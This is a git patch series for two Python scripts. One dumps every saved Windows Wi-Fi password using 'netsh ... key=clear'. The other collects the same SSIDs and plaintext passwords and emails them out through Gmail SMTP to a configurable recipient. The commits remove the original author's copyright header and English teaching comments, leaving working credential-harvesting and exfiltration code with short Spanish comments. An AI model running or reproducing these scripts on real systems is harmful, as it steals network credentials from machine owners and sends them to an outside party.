From 2ccf57ac617c9981b0a02eb3a22e7986fbd361d5 Mon Sep 17 00:00:00 2001 From: PRO X Date: Fri, 22 Dec 2023 23:13:19 -0400 Subject: [PATCH 1/2] windows10-wifi.py News Modifications --- windows10-wifi.py | 73 +++++++++++------------------------------------ 1 file changed, 16 insertions(+), 57 deletions(-) diff --git a/windows10-wifi.py b/windows10-wifi.py index 7e6ecea..1d1a818 100644 --- a/windows10-wifi.py +++ b/windows10-wifi.py @@ -1,76 +1,35 @@ -#! py -###################################### -#Copyright of David Bombal, 2021 # -#https://www.davidbombal.com # -#https://www.youtube.com/davidbombal # -###################################### - -# Import subprocess so we can use system commands. import subprocess - -# Import the re module so we can make use of regular expressions. import re -# Python allows us to run system commands using the function -# provided by the subprocess module; -# (subprocess.run(, )). -# -# This script is a parent process that creates a child process which -# runs a system command and will only continue once the child process -# is completed. -# -# To save the contents that get sent to the standard output stream -# (the terminal), we must first specify that we want to capture the output. -# To do this we specify the second argument as capture_output = True. -# This information gets stored in the stdout attribute as bytes and -# needs to be decoded before being used as a String in Python. -command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() - -# We imported the re module to make use of regular expressions. -# We want to find all the wifi names which are listed after -# "ALL User Profile :". Using regular expressions we can create -# a group of all characters until the return escape sequence (\r) appears. +# Obtener todos los perfiles Wi-Fi +command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode('latin-1') profile_names = (re.findall("All User Profile : (.*)\r", command_output)) - -# We create an empty list outside of the loop where dictionaries -# containing all the wifi usernames and passwords will be saved. wifi_list = [] -# If any profile names are not found this means that wifi connections -# have also not been found. So we run this part to check the -# details of the wifi and see whether we can get their passwords. +# Verificar si existen perfiles Wi-Fi if len(profile_names) != 0: for name in profile_names: - # Every wifi connection will need its own dictionary which - # will be appended to the variable wifi_list. + # Diccionario para almacenar información del perfil Wi-Fi wifi_profile = {} - # We can now run a more specific command to see the information - # about the wifi connection and if the Security key - # is not absent it may be possible to get the password. - profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() - # We use the regular expression to only look for the absent cases so we can ignore them. + profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode('latin-1') + + # Verificar si la clave de seguridad está presente o ausente if re.search("Security key : Absent", profile_info): - continue + continue # Si la clave está ausente, pasar al siguiente perfil else: - # Assign the ssid of the wifi profile to the dictionary. + # Obtener el nombre de la red (SSID) wifi_profile["ssid"] = name - # These cases aren't absent and we should run the - # "key=clear" command part to get the password. - profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() - # Again run the regular expression to capture the - # group after the : (which is the password). + # Obtener la información del perfil incluyendo la contraseña + profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output=True).stdout.decode('latin-1') password = re.search("Key Content : (.*)\r", profile_info_pass) - # Check if we found a password using the regular expression. - # Some wifi connections may not have passwords. - if password == None: + + # Verificar si la contraseña está presente o no + if password is None: wifi_profile["password"] = None else: - # We assign the grouping (where the password is contained) that - # we are interested in to the password key in the dictionary. wifi_profile["password"] = password[1] - # We append the wifi information to the variable wifi_list. - wifi_list.append(wifi_profile) + wifi_list.append(wifi_profile) # Agregar el perfil a la lista +# Imprimir la lista de perfiles Wi-Fi con sus contraseñas (si están disponibles) for x in range(len(wifi_list)): print(wifi_list[x]) - From 9af2026c9a4ab57785c241f518aea59bc1c5f7e4 Mon Sep 17 00:00:00 2001 From: PRO X Date: Fri, 22 Dec 2023 23:29:50 -0400 Subject: [PATCH 2/2] windows10-wifi-email.py (#1) Added code to get Wi-Fi profiles and send email --- windows10-wifi-email.py | 44 ++++++++--------------------------------- 1 file changed, 8 insertions(+), 36 deletions(-) diff --git a/windows10-wifi-email.py b/windows10-wifi-email.py index d8e40f8..193aa82 100644 --- a/windows10-wifi-email.py +++ b/windows10-wifi-email.py @@ -1,73 +1,45 @@ -#! py -###################################### -#Copyright of David Bombal, 2021 # -#https://www.davidbombal.com # -#https://www.youtube.com/davidbombal # -###################################### import subprocess import re import smtplib from email.message import EmailMessage -# Python allows us to run system commands by using a function provided by the subprocess module (subprocess.run(, )) -# The script is a parent process and creates a child process which runs the system command, and will only continue once the child process has completed. -# To save the contents that gets sent to the standard output stream (the terminal) we have to specify that we want to capture the output, so we specify the second argument as capture_output = True. This information gets stored in the stdout attribute. The information is stored in bytes and we need to decode it to Unicode before we use it as a String in Python. -command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode() - -# We imported the re module so that we can make use of regular expressions. We want to find all the Wifi names which is always listed after "ALL User Profile :". In the regular expression we create a group of all characters until the return escape sequence (\r) appears. +# Obtener información de los perfiles Wi-Fi usando netsh +command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode('latin-1') profile_names = (re.findall("All User Profile : (.*)\r", command_output)) - -# We create an empty list outside of the loop where dictionaries with all the wifi username and passwords will be saved. wifi_list = list() - -# If we didn't find profile names we didn't have any wifi connections, so we only run the part to check for the details of the wifi and whether we can get their passwords in this part. +# Verificar si existen perfiles Wi-Fi if len(profile_names) != 0: for name in profile_names: - # Every wifi connection will need its own dictionary which will be appended to the wifi_list wifi_profile = dict() - # We now run a more specific command to see the information about the specific wifi connection and if the Security key is not absent we can possibly get the password. - profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode() - # We use a regular expression to only look for the absent cases so we can ignore them. + profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode('latin-1') if re.search("Security key : Absent", profile_info): continue else: - # Assign the ssid of the wifi profile to the dictionary wifi_profile["ssid"] = name - # These cases aren't absent and we should run them "key=clear" command part to get the password - profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode() - # Again run the regular expressions to capture the group after the : which is the password + profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output=True).stdout.decode('latin-1') password = re.search("Key Content : (.*)\r", profile_info_pass) - # Check if we found a password in the regular expression. All wifi connections will not have passwords. if password == None: wifi_profile["password"] = None else: - # We assign the grouping (Where the password is contained) we are interested to the password key in the dictionary. wifi_profile["password"] = password[1] - # We append the wifi information to the wifi_list wifi_list.append(wifi_profile) -# Create the message for the email +# Construir el mensaje de correo con los detalles de Wi-Fi email_message = "" for item in wifi_list: email_message += f"SSID: {item['ssid']}, Password: {item['password']}\n" -# Create EmailMessage Object +# Configurar el correo electrónico email = EmailMessage() -# Who is the email from email["from"] = "name_of_sender" -# To which email you want to send the email email["to"] = "email_address" -# Subject of the email email["subject"] = "WiFi SSIDs and Passwords" email.set_content(email_message) -# Create smtp server +# Enviar el correo electrónico usando SMTP (en este caso, Gmail) with smtplib.SMTP(host="smtp.gmail.com", port=587) as smtp: smtp.ehlo() - # Connect securely to server smtp.starttls() - # Login using username and password to dummy email. Remember to set email to allow less secure apps if using Gmail smtp.login("login_name", "password") - # Send email. smtp.send_message(email)